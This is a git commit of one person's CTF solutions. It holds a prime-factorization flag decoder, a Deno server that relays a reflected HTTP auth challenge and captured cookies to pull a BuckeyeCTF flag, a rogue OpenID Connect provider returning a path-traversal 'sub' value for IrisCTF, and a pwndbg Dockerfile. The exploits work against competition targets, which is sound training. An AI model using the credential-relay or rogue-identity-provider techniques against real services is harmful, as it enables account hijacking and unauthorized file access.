My solutions for CTFs
Initial commit
Takumi Akimoto
(Dec 4, 2025, 11:47 AM +0900)
204dca55
f10179ae
+145
+1
.gitignore
+1
.gitignore
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workspace/
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alpacahack/daily/a-fact-of-ctf/solve.py
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alpacahack/daily/a-fact-of-ctf/solve.py
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# all prime numbers less than 300
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primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293]
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ct = int(input(), 16)
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flag_chars = []
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for prime in primes:
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if ct == 1:
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break
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exp = 0
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while ct % prime == 0:
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ct //= prime
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exp += 1
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flag_chars.append(chr(exp))
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flag = ''.join(flag_chars)
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print(flag)
+32
buckeyectf/2025/authman/server.ts
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buckeyectf/2025/authman/server.ts
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const VICTIM_URL = "https://authman.challs.pwnoh.io"
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let cookies: string | null = null
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Deno.serve(async (req) => {
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const incomingAuthHeader = req.headers.get("Authorization")
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if (incomingAuthHeader) {
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const flagResp = await fetch(`${VICTIM_URL}/auth`, {
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headers: {
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"Authorization": incomingAuthHeader,
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"Cookie": cookies ?? "",
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},
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})
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const html = await flagResp.text()
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console.log(/bctf\{[a-zéA-Z0-9_-]+\}/.exec(html)?.[0])
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} else {
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const primeResp = await fetch(`${VICTIM_URL}/auth`)
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const reflectedAuthHeader = primeResp.headers.get("www-authenticate")
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cookies = primeResp.headers.get("set-cookie")
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if (reflectedAuthHeader) {
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const headers = new Headers()
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headers.set("WWW-Authenticate", reflectedAuthHeader)
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return new Response("Unauthorized", { status: 401, headers })
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}
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}
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return new Response()
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})
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compose.yaml
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compose.yaml
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docker/Dockerfile
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docker/Dockerfile
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#syntax=docker/dockerfile:1
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FROM --platform=linux/amd64 ubuntu:24.04
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RUN rm -f /etc/apt/apt.conf.d/docker-clean; echo 'Binary::apt::APT::Keep-Downloaded-Packages "true";' > /etc/apt/apt.conf.d/keep-cache
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RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \
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--mount=type=cache,target=/var/lib/apt,sharing=locked \
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apt-get update && \
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apt-get upgrade -y && \
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apt-get --no-install-recommends install -y \
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binutils \
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build-essential \
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ca-certificates \
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curl \
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gdb \
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git \
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python3 \
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sudo \
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unrar
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RUN echo ubuntu ALL=\(root\) NOPASSWD:ALL > /etc/sudoers.d/ubuntu && \
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chmod 0440 /etc/sudoers.d/ubuntu
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USER ubuntu
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RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \
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--mount=type=cache,target=/var/lib/apt,sharing=locked \
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git clone --depth=1 https://github.com/pwndbg/pwndbg.git ~/pwndbg && \
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cd ~/pwndbg && \
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./setup.sh && \
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cd ~ && \
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rm -rf ~/pwndbg
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irisctf/2025/bad-todo/server.ts
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irisctf/2025/bad-todo/server.ts
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const issuer = "https://close-badger-22.deno.dev"
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Deno.serve((req) => {
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const reqUrl = new URL(req.url)
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if (reqUrl.pathname === "/.well-known/openid-configuration") {
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return Response.json({
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issuer: issuer,
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authorization_endpoint: issuer + "/auth",
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token_endpoint: issuer + "/token",
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userinfo_endpoint: issuer + "/userinfo",
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})
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}
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if (reqUrl.pathname === "/auth") {
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const redirectUri = reqUrl.searchParams.get("redirect_uri")
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const state = reqUrl.searchParams.get("state")
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if (!redirectUri) {
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return new Response("redirect_uri is required", { status: 400 })
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}
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return Response.redirect(redirectUri + "?state=" + state)
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}
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if (reqUrl.pathname === "/token") {
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return Response.json({
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access_token: "token",
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token_type: "Bearer",
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})
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}
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if (reqUrl.pathname === "/userinfo") {
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return Response.json({
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sub: "..flag",
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})
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}
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return new Response("Not Found", { status: 404 })
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})